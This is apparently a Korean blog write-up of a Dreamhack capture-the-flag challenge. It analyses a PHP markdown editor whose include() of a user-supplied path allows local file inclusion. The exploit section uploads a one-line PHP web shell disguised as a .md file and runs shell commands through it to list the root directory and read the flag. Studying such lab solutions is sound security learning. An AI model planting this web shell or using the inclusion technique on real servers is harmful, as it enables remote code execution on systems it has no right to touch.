반응형
문제설명
실시간으로 마크다운을 수정해 볼 수 있는 페이지입니다.
서비스의 취약점을 찾고 익스플로잇하여 플래그를 획득하세요!
플래그 형식은 DH{...} 입니다.
코드분석
index.php
<?php
$uploads_dir = 'uploads/';
if ($handle = opendir($uploads_dir)) {
echo "<h2>Uploaded Files</h2><ul>";
while (false !== ($entry = readdir($handle))) {
if ($entry != "." && $entry != "..") {
echo "<li><a href='edit.php?file=" . urlencode($entry) . "'>" . htmlspecialchars($entry) . "</a></li>";
}
}
closedir($handle);
echo "</ul>";
}
?>
- 업로드 폴더 경로 지정
- uploads/ 디렉터리 열고 성공 시 실행 → 제목과 <ul> 시작 태그 출력
- 디렉터리 안의 파일 이름 하나씩 읽음 (현재(.), 상위(..)는 제외
- 파일명을 링크로 출력 링크는 edit.php?file=파일명 / urlencode로 URL 안전하게 인코딩하고 htmlspecialchars로 XSS 방지
post_handler.php
<?php
$uploads_dir = 'uploads/';
if ($_SERVER['REQUEST_METHOD'] === 'GET') {
$file = $_GET['file'] ?? 'example.md';
$path = $uploads_dir . $file;
include($path);
} else {
echo "Use GET method!!";
}
?>
- file 파라미터 있으면 그 값을 쓰고, 없으면 example.md
- 경로는 uploads/ + 파일명으로 경로 생성
- 해당 파일을 PHP가 읽어서 출력/실행 PHP 코드가 있으면 실행됨
include()
: PHP에서 다른 파일을 현재 위치에 끼워 넣어 실행/출력하는 함수
- 파일의 내용이 그대로 실행
- 포함한 파일에 <?php ... ?>가 있으면 그 코드가 실행
- 일반 텍스트면 그대로 출력
save.php
<?php
$uploads_dir = 'uploads/';
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
$file = $_POST['file'];
$content = $_POST['content'];
$path = realpath($uploads_dir . basename($file));
if (strpos($path, realpath($uploads_dir)) === 0 && file_exists($path)) {
file_put_contents($path, $content);
header('Location: edit.php?file=' . urlencode($file));
exit;
} else {
echo "Invalid file or file not found!";
}
} else {
echo "Invalid request method!";
}
?>
- POST 요청일 때 실행
- 수정할 파일명 / 수정할 내용
- 경로는 파일명을 basename으로 정리하고 실제 경로 계산
경로 탐색을 막으려는 의도 - 만약 계산된 경로가 uploads/ 내부인지 확인 및 파일이 존재하는지 확인
- 내용을 파일에 덮어씀
- 저장 후 해당 파일의 현집화면으로 이동
upload.php
<?php
$uploads_dir = 'uploads/';
if ($_FILES['file']['error'] === UPLOAD_ERR_OK) {
$tmp_name = $_FILES['file']['tmp_name'];
$name = basename($_FILES['file']['name']);
if (pathinfo($name, PATHINFO_EXTENSION) === 'md') {
move_uploaded_file($tmp_name, "$uploads_dir/$name");
echo "File uploaded successfully!";
} else {
echo "Only .md files are allowed!";
}
} else {
echo "File upload error!";
}
?>
- 업로드 에러가 아닐 때 실행
- 순수 파일명만 남기기 위해 basename 사용
ex) ../../flag → flag - 파일명에서 확장자만 뽑고 md 인지 확인함
- 맞으면 임시파일을 uploads/ 폴더로 영구 저장한다.
취약점 분석
- 파일 확장자를 .md 인지만 검사함. 파일 안의 내용 검사 x
- include 함수로 파일 내용이 php면 php로 실행 가능
- php.handler.php에서 경로탐색을 막지 않음
익스플로잇
먼저 explot.md 파일을 먼저 만들고 안의 내용을
<?php
system($_GET["cmd"]);
?>
다음과 같이 작성 후 업로드 해줌

업로드된 것을 확인 후
URL에 아래와 같이 작성해주면
post_handler.php/?file=ex.md&cmd= ls -al /

다음과 같은 화면이 나옴
total 84
dr-xr-xr-x 1 root root 4096 Feb 15 12:06 .
dr-xr-xr-x 1 root root 4096 Feb 15 12:06 ..
drwxr-xr-x 1 root root 4096 Nov 15 2022 bin
drwxr-xr-x 2 root root 4096 Sep 3 2022 boot
drwxr-xr-x 5 root root 340 Feb 15 12:06 dev
drwxr-xr-x 1 root root 4096 Feb 15 12:06 etc
drwxr-xr-x 2 root root 4096 Sep 3 2022 home
drwxr-xr-x 1 root root 4096 Nov 15 2022 lib
drwxr-xr-x 2 root root 4096 Nov 14 2022 lib64
drwxr-xr-x 2 root root 4096 Nov 14 2022 media
drwxr-xr-x 2 root root 4096 Nov 14 2022 mnt
drwxr-xr-x 2 root root 4096 Nov 14 2022 opt
dr-xr-xr-x 115 root root 0 Feb 15 12:06 proc
-rw-r--r-- 1 root root 68 Jan 31 2025 qeNSko1Mxxz8oeCOdlmHEK46vDOwOMKn_flag
drwx------ 1 root root 4096 Nov 15 2022 root
drwxr-xr-x 1 root root 4096 Jan 31 2025 run
drwxr-xr-x 1 root root 4096 Nov 15 2022 sbin
drwxr-xr-x 2 root root 4096 Nov 14 2022 srv
dr-xr-xr-x 11 root root 0 Feb 15 12:06 sys
drwxrwxrwt 1 root root 4096 Feb 15 12:07 tmp
drwxr-xr-x 1 root root 4096 Nov 14 2022 usr
drwxr-xr-x 1 root root 4096 Nov 15 2022 var
플래그 같이 생긴 파일명이 보임
그다음 URL에 다음과 같이 작성
post_handler.php/?file=ex.md&cmd=cat /qeNSko1Mxxz8oeCOdlmHEK46vDOwOMKn_flag

반응형
'Dreamhack 워게임 > Lv.1' 카테고리의 다른 글
| Hangul - Revenge (0) | 2026.02.19 |
|---|---|
| Ctrl-C (0) | 2026.02.19 |
| Simple Note Manager (0) | 2026.02.15 |
| Logical (0) | 2026.02.14 |
| baby-ai (0) | 2026.02.14 |